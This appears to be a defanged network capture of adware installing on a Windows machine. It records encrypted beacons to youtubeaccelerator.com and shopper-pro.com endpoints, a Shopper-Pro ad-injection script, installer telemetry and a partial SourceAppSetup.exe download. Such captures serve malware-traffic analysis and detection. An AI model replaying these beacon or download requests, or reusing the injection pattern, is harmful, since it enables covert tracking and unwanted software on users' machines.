...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.5..VTag: 438589357000000000..P3P: 
CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR S
AMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conte
nt-Length: 550..Cache-Control: max-age=900..Date: Thu, 12 Feb 2015 05:
34:31 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U
....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corp
oration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..15031910360
0Z._0]0...U.#..0...#[email protected].. ..5..0... .....7.......0...U......10
... .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\...
.F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D..
.......-.>...(...g.0.S.[?...T4q>[email protected].('..e.
..Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..
<<< skipped >>>


GET /app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilH3P26CE7VcKdT/YAxQmelWqbxg7fgQf3ItXW8/iTesfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8/ kdIj6VE8CNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwAUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilF/EkTZWnXTPW1yq4on4Rvc8RxxVe7Z8IarcpfKrbJudMS6E ZVjGvzP/pHSI lRPAjc/9GqmaG9iEnhH14nzCmezS8dyds6vSws0phWZ1n8PSgZZs8q9v7HOZnSWChaSpbNcI6Uy014FEViCvyDnuRmJS/CStLJjeyp jPa4cTPVQyB/VFyE6ekC9hdIYNUYkg9A4falvkDLKn6M9rhxM9haQk ISTImB1r7eUKROODOt6uHPFnMeOWMsdtJPIe71c8MUoLRkKu/xJo1EJGyYRPKewvcYQT1OmtMkc3CdMm/HJvXTg/akCAO3s1/FmYFjO2vDD70UhafnHhQBt5SN5fyaauBUvQVow01McGk6sWOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jz6PofVZwOBoXx/48vBuBRiWOEog NNy6LA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=iAb9K1DDBHUaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l59bC43VoLO9FUy1aQkAHt2YM2kfEeZIlMB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP  IpYv 06Xc1Z1BgODVeEYVPS89/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:56 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:32:56 GMT..Content-Length: 0..



GET /script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.19523600138734076&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1&um=Powered by Shopper-Pro HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: a.visadd.com
DNT: 1
Connection: Keep-Alive
Cookie: __cfduid=d285191a05d25c11155636fb3738cd7031423719239


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:34:00 GMT
Content-Type: application/javascript
Content-Length: 17546
Vary: Accept-Encoding
Etag: "789fc8308cbc629b5c9858919290cc7a95bf9b1b"
Cache-Control: public, max-age=360
P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"
Set-Cookie: visadd_gry_lock_count=--; Path=/
Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
.(function() {.visadd.texts = {.flip_back: 'Flip Back'.}.visadd.settin
gs = {.monitor_url_change: false,strip_max_images: -1,use_strips: fals
e,lock_count_time: 3600000,shopping_agresive: false,validate_blacklist
: true,layer_style: '.img.visadd_indic{    height: 35px;    position: 
absolute;    left: 5px;    top: 5px;    width: auto;    z-index: 999; 
   background: none repeat scroll 0 0 transparent !important;    borde
r: 0 none !important;    box-shadow: none !important; }\....indic_hove
r_only { display:none }\....indic_hover_only: hover { display:block }\
....visadd_layer { display: none;  position: absolute; z-index: 214748
3647; }\....visadd_image_container{    float: left;.margin: 0 10px 0px
 0 !important;    height: auto;    overflow: hidden;} \....ab_visadd_i
mage_container{    float: right !important; .margin: 0 !important;    
} \....right_visadd_image_container{    float: right !important; .marg
in: 0 0 0 10px !important; } \....ab_visadd_image_wrap{    float: left
;.margin: 0 10px 2px 0 !important;    max-height: 200px;    height: au
to;    overflow: hidden;    position: relative;}\....ab_visadd_image_w
rap img {.padding: 0 !important;.border: none !important; margin: 0 !i
mportant; }\....visadd_image_credit { .width: 100%;.z-index: 999;.marg
in-top: 3px;}\....visadd_image_credit a:hover{    color: #ccc;    disp
lay: block;    font-size: 11px;    text-align: center;    text-decorat
ion: none;    float:left;    padding-right: 10px;       text-shadow: 1
px 1px 1px #e1e1e1;}\....visadd_image_credit a{    color: #ccc;   
<<< skipped >>>

GET /internal/reporter?v=2&subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1&format=1&ai=990&ctxu=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&fb=false&cid=99&cbs=0.8252749752508812&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=F2Cwsmtycl1-572a1153-8705-4466-affe-b5bad540fde1&um=Powered by Shopper-Pro HTTP/1.1


Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.
HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:34:01 GMT
Content-Type: application/javascript
Content-Length: 23
Vary: Accept-Encoding
Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"
Cache-Control: public, max-age=86400
Set-Cookie: tid=i-52229526212115391423719241.3738; Path=/
Set-Cookie: uid=i-52229526212115391423719241.3739; expires=Sun, 09 Feb 2025 05:34:01 GMT; Path=/
Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
function donothing(){};HTTP/1.1 200 OK..Date: Thu, 12 Feb 2015 05:34:0
1 GMT..Content-Type: application/javascript..Content-Length: 23..Vary:
 Accept-Encoding..Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"..Ca
che-Control: public, max-age=86400..Set-Cookie: tid=i-5222952621211539
1423719241.3738; Path=/..Set-Cookie: uid=i-52229526212115391423719241.
3739; expires=Sun, 09 Feb 2025 05:34:01 GMT; Path=/..Set-Cookie: a.vis
add.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/..function dono
thing(){};..



GET /app/t.ashx?uid=572a1153-8705-4466-affe-b5bad540fde1&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDU3MmExMTUzLTg3MDUtNDQ2Ni1hZmZlLWI1YmFkNTQwZmRlMSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423719241&aff=JSsmtycl&ver=2.6.8418.1499&usid=2858020935-2156992550-3658131804 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: 5k9v3bc1-enehfzfv.netdna-ssl.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:57 GMT
Content-Type: image/gif
Content-Length: 35
Connection: keep-alive
Cache-Control: private
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
GIF89a.............,...........D..;..



GET /r/collect?v=1&_v=j32&a=1485919846&t=pageview&_s=1&dl=http://VVV.appshat.com/home&ul=en-us&de=utf-8&dt=Apps Hat&sd=32-bit&sr=1716x901&vp=1018x770&je=0&_u=MEAAAAgAI~&jid=1664049211&cid=696509352.1423719242&tid=UA-42656881-1&_r=1&z=456628722 HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Date: Thu, 12 Feb 2015 05:33:57 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Server: Golfe2
Content-Length: 35
Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Thu, 12 Feb 2015 05:33:57 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..



POST /ocsp HTTP/1.1
Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.._..S...a..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:33:23 GMT
Expires: Mon, 16 Feb 2015 05:33:23 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
2010713Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
._..S...a....20150212010713Z....20150219010713Z0...*.H................
....r.=.i....M.j.'N..e.T.a.p...s...[...kJ .......F.}^.S..C..l....Lig..
.?....w...X..Zd...~..d.A\@t.B."....0kE$..%..<.]..|S...8K.4...p`...;
f...3.....X}..:z..G_..kN....[.E.9.x.(V..Z.g..C..|G.F..[>...!v......
r............s....E.....01/.;.I..........:.......HTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Thu, 12 Feb 2015 05:33:23 G
MT..Expires: Mon, 16 Feb 2015 05:33:23 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=0.02..0..........0..... .....0......0...0......J......h.v...
.b..Z./..20150212010713Z0k0i0A0... ..........j.....p.I.#z...(~d..J....
..h.v....b..Z./.._..S...a....20150212010713Z....20150219010713Z0...*.H
....................r.=.i....M.j.'N..e.T.a.p...s...[...kJ .......F.}^.
S..C..l....Lig...?....w...X..Zd...~..d.A\@t.B."....0kE$..%..<.]..|S
...8K.4...p`...;f...3.....X}..:z..G_..kN....[.E.9.x.(V..Z.g..C..|G.F..
[>...!v......r............s....E.....01/.;.I..........:.......t>....
<<< skipped >>>

POST /ocsp HTTP/1.1


Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./....mP
-...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Thu, 12 Feb 2015 05:33:24 GMT
Expires: Mon, 16 Feb 2015 05:33:24 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=0.02
0..........0..... .....0......0...0......J......h.v....b..Z./..2015021
2010048Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...mP..-.....20150212010048Z....20150219010048Z0...*.H...............G
.......Osu'h....i.Jt=.....J....Xk.x.n"'.{.....)..{...$..X..A..........
..2.^..n.0...Y..).........C...N._.....p.y.i....m.....$..I.?#...>.&l
t;.4..2;........!........3MQ.&:O....X.v.#..&*.4.?tP7U...5..]..N..'..hy
...x.........P.~.x;.....q..r..O......G_.o0.s....uHTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Thu, 12 Feb 2015 05:33:24 G
MT..Expires: Mon, 16 Feb 2015 05:33:24 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=0.02..0..........0..... .....0......0...0......J......h.v...
.b..Z./..20150212010048Z0k0i0A0... ..........j.....p.I.#z...(~d..J....
..h.v....b..Z./....mP..-.....20150212010048Z....20150219010048Z0...*.H
...............G.......Osu'h....i.Jt=.....J....Xk.x.n"'.{.....)..{...$
..X..A............2.^..n.0...Y..).........C...N._.....p.y.i....m.....$
..I.?#...>.<.4..2;........!........3MQ.&:O....X.v.#..&*.4.?tP7U.
..5..]..N..'..hy...x.........P.~.x;.....q..r..O......G_.o0.s....u..
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:21 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.15 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.15 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 12 Feb 2015 05:33:27 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.51 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 12 Feb 20
15 05:33:27 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.51 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF62mie6K97bhs4164GCUCrHY6 CMJNDnNVJ80QsygdrlOPofYEioTNmxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoF1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9MCGIRhlqzRAVi33qPwefc AZSpRiXLg4A== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=1ZEnpGuz/ISxEu8YMU EShpesdmADmbfIg u8SiWgmrZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcYhhrL473 zoy6s6xXqWFF6w7S4X73uD6h1FLuhw7jd QReVN40tf6x9OEcE1Gcggnu2GUDZd rCma3r97HUBE6rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP  IpYv 06Xc1Z1Bk7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF62mie6K97bhs4164GCUCrHY6 CMJNDnNYID5x5YtLWQ5hwSZYo2fc/iYbn/6BXbalHruaJW xQg4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX82l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPo h9VnA4GhfH/jy8G4FGJY4SiD403Los HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=1ZEnpGuz/ISxEu8YMU EShpesdmADmbfIg u8SiWgmrZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcYhhrL473 zoy6s6xXqWFF6w7S4X73uD6giiSwx 5rfc SItTAmI9pxkVq/GI3sfPtTzrtqyaic3OCZMwdbGO3c68sEXuH4rLT3Wq2vKHOHM18XJvxFXM1O iRnR3GvMMqGqHUvozE8Q0kqRhFzzbCbzwUsyPylrkeXGDXIS/RRkptuVEGCfVHTrKJjQT7SjF/8SF 5sybboIdSGJ4/F49fT03ZwnpMmrtQGKJvvGF2Osqfoz2uHEz2FpCT4hJMiYHWvt5QpE44M63q4c8Wcx45Yyx20k8h7vVzwxSgtGQq7o4UGRclZAsIbSJEVa4Ci8Ka0yRzcJ0yb8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFp ceFAG3lI3l3bEUflrcjcMVwD/dyNpMd4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX82l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPo h9VnA4GhfH/jy8G4FGJY4SiD403Los HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=LU2XQ3qyK2AaXrHZgA5m35Bkb5wA0JmH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6MurOsV6lhResO0uF 97g pV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgakbpJf5YFA4cnDbXMoNEWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEOpg8tXBCJ2BwB5esNx9efU= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:49 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 20
15 05:32:49 GMT..Content-Length: 0..



GET /sd?is=sm HTTP/1.1
Range: bytes=291584-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 13 Feb 2015 05:32:04 GMT
Date: Thu, 12 Feb 2015 05:32:04 GMT
Content-Range: bytes 291584-583167/583168
Content-Length: 291584
Connection: keep-alive
8...*.wd........Qp.aX.f..C.....WE.3h....).$....A........yrD.1.f..]...J
...E<..1..L.1.{..j.f.=....fM.F.....z...D...g.....u.6.I'.U...[..7...
...Y..:n...^...A....w../9.....U.....?.'......xO62.P.qw&.(....uBa...Y@;
......:.II.]..m.....%..<.D..v.).i<:..J....J.;..<...X.)p...::I
_U.........8..5..Y"..L<36..c}t..;....j.....?....@.`.......I|.L5....
q}..3...ll=...bdI5..[?.....}.EeL..R....5"...(......../.....W..~..].@..
 [email protected]%.Y...r]a.b.......)G..n[T...}O....y1.j..!.c)
..4.08.....u...9.8..H...D..k...r.....IaPJ"..].Pm..K.>.V1vp9y.....=.
.bp.:.g..F..C.0.eB./..nxD.N..'.4.......'3.1..m..0..=.^..._...S...M...i
.t..yq....|....T.....&v.e.........D....Z.7...T.......I...$.....A ..er.
...o...C..Y...A.F]hy!..q.........#....@$D.$L<...Uy..|;?*..&.4.....!
..v.'E.l....(.....z.~..Ae.|..D......@.._&.Q..J.V.Us.!..E....b.S.......
[email protected]....\<1.|.*...m>....o#.@..&1...E...z....v.m.?....2..:.X..
..N..J...l..#`d.^[.oj.1.........x..n.O|.vfU. ..R.....x..Yg.._..u...G. 
...N[[email protected].,...g.=}4n......aH...a.....`..v.......
'@...<R.L......."J(..##..nV'..f../V...w!..'%..(b.`......e.h....x=9&
......M..X-_T...c.8..]'.F...........M.....m.G.........s..X...|.......;
......2..B..AAu4..Wu..B...lf..........BUw.C...^J...(F.1;.s..f3........
.....m,...<.. .N.9..3$..C..=...a..z.....G..?..i-.2.....hD..?....^?.
.B........~.....>]........G0...F....'][email protected]..
8.......)..W.r.=.ò....l.r.z..........7..e. \$D.......t.......[.Z..N2
